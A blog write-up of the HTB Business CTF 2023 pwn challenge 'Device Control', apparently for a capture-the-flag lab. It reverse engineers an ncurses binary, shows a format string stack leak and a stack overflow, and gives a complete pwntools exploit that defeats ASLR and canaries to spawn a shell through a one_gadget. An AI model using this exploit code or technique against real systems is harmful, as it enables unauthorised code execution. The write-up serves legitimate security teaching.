← Back to blog

Device Control

Files

Download: pwn_device_control.zip

Challenge

This is a pwn challenge from the HTB Business CTF 2023. The flavor text frames it as breaching an enemy device-control server, with the goal of escalating from manipulating devices to full system access.

You managed to successfully breach the enemy’s device control server! With this accomplishment, you now possess a significant opportunity: to either mislead them through the creation of counterfeit devices or to delve deeper into the system and exploit it for complete system access. Choosing the former path allows you to manipulate their perceptions, potentially leading them astray and buying valuable time. However, should you opt for the latter, you can uncover hidden vulnerabilities and harness the system to your advantage, potentially neutralizing the enemy’s capabilities entirely. The choice is yours.

We are handed a binary, its libc, and the loader. The program is a C++ ncurses menu-driven application that talks to stdin/stdout through socat in PTY mode, and it ships with all the usual exploit mitigations enabled.

Reconnaissance

The known facts about the target:

  • given a binary, its libc, and loader
  • C++
  • All exploit mitigations enabled (stack canaries, PIE, NX, Full RELRO, ASLR)
  • (Curses) menu system
  • talks to stdin/stdout through socat in PTY mode

Initial speculation about the bug class:

  • Heap overflow or UaF (ruled out)
  • Stack overflow (this turned out to be the path)

A couple of behaviors looked like red herrings or minor bugs:

  • When adding a device, if you max out the length of the string in the IP field, two characters overwrite the Device field of the next slot and make that slot unavailable.
  • A new country name for configuring VPN is allocated 0x30 bytes, but strcpy() is used from a buffer that is allowed to be up to 0xff bytes.

Reverse Engineering

Reverse engineering reveals two real vulnerabilities. First, a format string injection when printing a new country name that fails validation. The validation buffer is read with wgetnstr and then passed directly as the format string to printw, which leaks stack data including stack canaries, libc addresses, and other writeable memory.

wgetnstr(stdscr,ctrinp,0xff);
...
printw("This location is not allowed: [");
printw(ctrinp);

Second, the license key input is stored on the stack but not enough space was allocated; a classic stack buffer overflow. wgetnstr reads 0x14e bytes into a buffer too small to hold them.

wgetnstr(stdscr,lickeyinp,0x14e); // reads too much on the stack

The overall program structure is a large infinite while loop that reads user input and dispatches to the appropriate functions as long as slot < 9, guarded by stack canary checks, presenting an ncurses menu.

Setup function

The setup function initializes the ncurses environment and disables buffering. The leading/trailing canary load and check are the standard stack-protector instrumentation.

void setup(void)

{
  long lVar1;
  long in_FS_OFFSET;

  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  initscr();
  cbreak();
  noecho();
  keypad(stdscr,1);
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

Add Device

The Add Device path reads a slot number into a stack string, validates it with check_slot (a strcmp against "No device" over the global dev array), then reads the device name and IP directly into .data space and mallocs 0x80 bytes for the slot. A randomly chosen country (rand() % 9) is copied in with strcpy, and the global slot counter is incremented.

- Get a slot number using int wgetnstr(WINDOW *win, char *str, int n); (str is on the stack)
- basic_string allocated from str char array; String ptr in an array on the stack
- strtoi() on the String object; value returned is given to check_slot
    iVar2 = strcmp(dev + param_1 * 0x20,"No device"); return iVar2 == 0  (dev is global)
- String object deallocated; Error if check_slot() == 0
- Device name goes directly into .data space:
    wgetnstr(stdscr,dev + (long)someInteger * 0x20,0xc)
- Device IP goes directly into .data space:
    wgetnstr(stdscr,(long)slot_num * 0x20 + (dev+0x10),0x12);
- 0x80 bytes are malloc'd and pointer stored for the slot:
    *(void **)(location + (long)slot_num * 8) = heapPtr;
- Randomly chosen country (rand() % 9) is copied:
    strcpy(heapPtr,countryPtr);
- Global variable slot gets incremented

Configure VPN

The Configure VPN path is where both vulnerabilities live. It reads a new country name into ctrinp (0xff bytes), compares it against the country list, allocates only 0x30 bytes for the match, and strcpys into it. After that it reads a license key into an undersized stack buffer (lickeyinp) and compares it against license.conf. A failed country comparison feeds the attacker-controlled ctrinp to printw as a format string.

wgetnstr(stdscr,ctrinp,0xff);
// Array scanned for first newline, replaced with null byte
length = strlen((&countries)[idx]);
slot_num = strncmp(ctrinp,(&countries)[idx],length);

// On a good comparison:
heapPtr = (undefined *)malloc(0x30);
(&location)[slot_num] = heapPtr;     // leaks the old ptr
strcpy((&location)[slot_num],ctrinp); // probable heap overflow

// License key handling:
wgetnstr(stdscr,lickeyinp,0x14e); // reads too much on the stack (overflow)
fp = fopen("./license.conf","rb");
fgets((char *)&lickeyFileInp,0x19,fp);
chk = strncmp((char *)&lickeyFileInp,lickeyinp,0x19); // can probably be bypassed

// On a bad country name, the format string bug fires:
printw("This location is not allowed: [");
printw(ctrinp);

Remove Device

Remove Device simply overwrites the string fields in dev and location and decrements the slots global. The heapPtr is reused, not freed, which is why the heap-bug avenue was abandoned.

Dynamic Analysis

Confirming the format string stack leak

Configuring the VPN on an existing slot and supplying a long string of %p specifiers as the new country name confirms the format string bug. The country fails validation, so the input is reflected back through printw, dumping a large run of stack values.

Slot: 1

Current: Greece

Enter new country: %p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p

The reflected output contains the stack contents (note the canary, libc pointers, and stack addresses):

This location is not allowed: [0x5b0x1f(nil)0x200x7ffed4b922300x558e847449300xfe0x90xe09a58d329611f000x7ffed4b924100x10x558e847400310x7ffed4b924900x558e82bf23ae0xe00031d329611f000x7ffed4b924600x558e82bf34080x558e8472659c0x7ffed4b92490(nil)0xe09a58d329611f000x7ffed
4b925900x558e82bf10160x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x7025702
5702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x7
0257025702570250x70257025702570250x70257025702570250x7025702570250x7ffaab1c30400xe09a58d329611f00(nil)(nil)0x7ffed4b925b00x558e82bf24140x30xe09a58d329611f000x10x7ffaaaa29d90(nil)0x558e82bf23ae0x1000000000x7ffed4b926c8(nil)0x81f1a4deba80eb720x7ffed4b926c80x558e82bf
23ae0x558e82bf7b280x7ffaab1c30400x7e0c0dacf102eb720x7e04f19b800aeb72(nil)(nil)(nil)(nil)(nil)0xe09a58d329611f00(nil)0x7ffaaaa29e400x7ffed4b926d80x558e82bf7b280x7ffaab1c42e0(nil)(nil)0x558e82bf09400x7ffed4b926c0(nil)(nil)0x558e82bf09650x7ffed4b926b80x1c0x10x7ffed4b
93ba2(nil)0x7ffed4b93bb30x7ffed4b93be90x7ffed4b93c000x7ffed4b93c170x7ffed4b93c280x7ffed4b93c3b0x7ffed4b93c560x7ffed4b93c6a0x7ffed4b93c790x7ffed4b93cb50x7ffed4b93e200x7ffed4b93e630x7ffed4b93e760x7ffed4b93e7e0x7ffed4b93ea00x7ffed4b93ed30x7ffed4b93ee60x7ffed4b93ef20x
7ffed4b93f180x7ffed4b93f250x7ffed4b93f360x7ffed4b93f550x7ffed4b93f6c0x7ffed4b93f800x7ffed4b93f95(nil)0x21]]

Press any key to continue.

Confirming the stack overflow

Unlocking further configuration prompts for a license key. Sending an oversized key triggers the stack smashing detector, confirming the overflow of the lickeyinp buffer.

Country changed!

Do you want to unlock the configuration of more devices? (y/n): y

Enter license key: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Invalid license key!*** stack smashing detected ***: terminated

Reviewing the crash in GDB indicates we can overflow 6 bytes on the return frame. That is fine, because the following bytes are nulls, so this aligns to allow a single ROP gadget (a one_gadget / “magic gadget”).

Exploitation

Step 0: Interfacing with ncurses

A down-arrow key press must be encoded for the terminal type that socat makes available to the binary. The correct byte sequence was determined empirically from a Wireshark capture.

\x1bOB

Per vt100.net, \x1bOB is the encoding used to represent cursor keys when DECCKM is enabled. The default is disabled and cursor up is represented as the ANSI CSI A; when DECCKM is enabled SS3 A is used instead.

Step 1: Bypass ASLR by leaking the stack

Because the binary has stack canaries, PIE, NX, Full RELRO, and ASLR, the exploit needs to leak the stack canary, a libc address, and the other addresses required for the return-to-libc. Since roughly 128 stack values can be leaked, everything needed is present. Flipping between GDB and multiple runs pinned down the offsets.

# Gimme all them hexadecimal lookin' numbers
data = re.findall(br"0x[a-f0-9]{1,16}", stack_leak)

# Offsets determined empirically, they line up more often than not
# the regex adds an extra 0 sometimes because it's greedy
# so clip it
canary = data[53]
libc_addr = data[54][:-1] # __libc_start_main+128
rbp_offset_addr = data[2][:-1] # rbp must be writeable for magic gadget

With a known libc pointer, the libc image base is recovered by subtracting the offset found in Ghidra, defeating ASLR, and the magic gadget address is computed from that base.

some_libc_place = int(libc_addr,16)
img_base = some_libc_place - 0x29e4 # Found from Ghidra
magic_gadget = img_base + 0xebcf8 # same
call_magic_addr = struct.pack("Q", magic_gadget)

call_magic_addr is a ROP gadget in the provided libc that calls execve("/bin/sh"). Its constraints are satisfied by the chosen RBP value.

$ one_gadget glibc/libc.so.6
...
0xebcf8 execve("/bin/sh", rsi, rdx)
constraints:
  address rbp-0x78 is writable
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

Step 2: Redirect RIP with the right overflow

The exact overflow offsets were determined in GDB using an msf_pattern_create cyclic pattern, placing the leaked canary back in its slot and following it with the saved RBP and the magic gadget address.

# Use msf pattern for easy viewing in debugger
b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj" + \
canary + b"a7Aa8Aa9Ab0Ab1A\x16" + rbp_addr + call_magic_addr

Step 3: Overcome 0x7f addresses

The final wrinkle is that libc addresses (e.g. 0x7ffed4b93bb3) almost always start with 0x7f, which is the DEL control character. Sending that byte deletes the following character rather than being written to memory. There are two options.

Find a way to encode 0x7f
    Try again until libc is mapped into something starting with 0x7e

Option 2 was pursued because it is simple: just retry until libc happens to map to an address starting with 0x7e.

Full PoC

The complete exploit ties everything together: add a device, enter Configure VPN, trigger the format string leak, parse out the canary/libc/RBP values, rebuild the overflow with the magic gadget, and send it through the license key field. It bails out unless the leak is favorable (libc mapped to 0x7e and a full-length canary), then waits for the operator to sanity-check the leaks before firing.

#!/usr/bin/env python3

from pwn import *
import re
import struct

# found using a wirshark capture when using socat
DOWN_ARROW = b"\x1bOB" # SSE A Control character when DECCKM is enabled otherwise ANSI CSI

def conn():
    if args.LOCAL:
        r = remote('localhost', 1337)
        exe = ELF("device_control_patched")
        libc = ELF("glibc/libc.so.6")
        ld = ELF("glibc/ld-linux-x86-64.so.2")
        context.binary = exe
    else:
        r = remote('94.237.52.136', 40222)
    return r

def build_rop(canary, libc_addr, rbp_addr):

    #pwnlib probably has built-ins for this
    some_libc_place = int(libc_addr,16)
    img_base = some_libc_place - 0x29e4 # Found from Ghidra
    magic_gadget = img_base + 0xebcf8 # same
    call_magic_addr = struct.pack("Q", magic_gadget)
    print ("magic_gadget = %s" % hex(magic_gadget))

    libc_addr = struct.pack("Q", int(libc_addr, 16))
    rbp_addr = struct.pack("Q", int(rbp_addr, 16))
    canary = struct.pack("Q", int(canary, 16))

    # Use msf pattern for easy viewing in debugger
    return b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj" + \
            canary + b"a7Aa8Aa9Ab0Ab1A\x16" + rbp_addr + call_magic_addr

def main():
    r = conn()

    # Add device
    r.recv()
    r.sendline()
    r.recv()
    r.sendline(b"1")
    r.recv()
    r.sendline(b"pwn")
    r.recv()
    r.sendline(b"pwn")
    r.recv()
    r.sendline()
    r.recv()

    # Configure VPN
    r.send(DOWN_ARROW*3)
    r.sendline()
    r.recv()
    r.sendline(b"1")
    r.recv()

    # Trigger leak format string
    r.sendline(b"%p"*128)
    stack_leak = r.recvuntil(']')

    # Gimme all them hexadecimal lookin' numbers
    data = re.findall(br"0x[a-f0-9]{1,16}", stack_leak)

# Useful to look at all the stack values
#    for i,j in enumerate(data):
#        print("%s %s" % (i,j))

    # Offsets determined empirically, they line up more often than not
    # the regex adds an extra 0 sometimes because it's greedy
    # so clip it
    canary = data[53]
    libc_addr = data[54][:-1] # __libc_start_main+128
    rbp_offset_addr = data[2][:-1]

    # Print out for manual inspection
    print("Canary: %s" % canary)
    print("libc_addr: %s" % libc_addr)
    print("rbp_offset_addr: %s" % rbp_offset_addr)

    # Build overflow and ret-2-libc ROP
    rop_payload = build_rop(canary, libc_addr, rbp_offset_addr)

    # Reenter configure_vpn
    r.sendline()
    r.send(DOWN_ARROW*3)

    # Avoid control character issues if we can
    # There probably is a way to escape 0x7f
    # that will work; easier to get lucky

    # Also canary tends to be a big boi
    if b"0x7e" not in libc_addr or len(canary) < 17:
        print("not worth it")
        return

    # Useful to double check the leaks
    # or attach gdb for local testing
    input("fire?")

    # Navigate down to license key input
    r.sendline()
    r.recv()
    r.sendline(b"1")
    r.recv()
    r.sendline("Germany")
    r.recv()
    r.sendline("y")
    r.recvuntil("key:")

    # Send the payload
    r.sendline(rop_payload)

    # You should have a shell
    r.interactive()
if __name__ == "__main__":
    main()

Because success depends on a favorable leak, just run it in a while loop. When you see fire?, inspect the leaked addresses for sanity and hit enter to continue.

while true;
do
    ./solve.py
done

If it worked you should pop a shell.

Flag

After a lucky run lands the ROP chain, the shell pops and the flag drops out.

HTB{c0ntr0l_ch4r4ct3r5_4r3_p41n}